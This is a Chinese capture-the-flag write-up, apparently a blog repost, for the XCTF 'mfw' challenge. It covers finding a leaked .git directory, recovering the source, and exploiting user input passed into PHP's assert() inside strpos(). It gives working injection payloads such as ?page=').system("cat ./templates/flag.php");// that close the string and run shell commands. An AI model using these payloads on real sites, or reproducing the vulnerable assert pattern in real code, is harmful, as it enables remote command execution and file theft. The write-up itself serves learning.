攻防世界mfw-git源码泄露

XCTF - mfw


本题知识点

  • git泄露
  • assert参数注入
  • php函数闭合妙用

dirsearch目录扫描


打开题目后,发现没有什么注入点之类的,直接用dirsearch进行扫描,扫描结果如下:

git源码泄露

其实看到这里已经可以确定为git泄露了,直接运用Githack工具进行下载源码


打开发现flag.php中没有想要的数据,智能看看其他的代码中是否有想要的数据,查看index.php,发现有assert函数。

这里我们需要特别说一下assert这个函数

assert()函数

assert()函数其实是一个断言函数。
assert:
  这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行,如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

strpos函数
strpos(string,find,start)

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)

参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。
PHP 版本: 4+

解题思路

接下来的思路有两个要点

  • 首先,我们要用assert()函数执行系统命令
  • 闭合strpos函数,构造命令执行函数

接下来就好办了,首先用括号闭合strpos函数,然后用注释符号注释后面的语句,如下图
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
我们实际操作如下

assert("strpos(''); //$file', '..') === false") or die("Detected hacking attempt!");
<=>
assert("") or die("Detected hacking attempt!");
payload :?page='); //

上图中,我们可以发现,已经闭合成功,执行了后面的代码,此时,我们只需要再刚才的payload中输入我们要执行的代码即可
?page=').system("cat ./index.php");//

我们可以看到源代码已经回显,此时我们可以看到,我们目前在如下目录

要想读取flag.php,应当读取./templates/flag.php,payload如下
?page=').system("cat ./templates/flag.php");//
查看网页源代码,获取flag。

猜你喜欢

转载自blog.csdn.net/yuanxu8877/article/details/128089656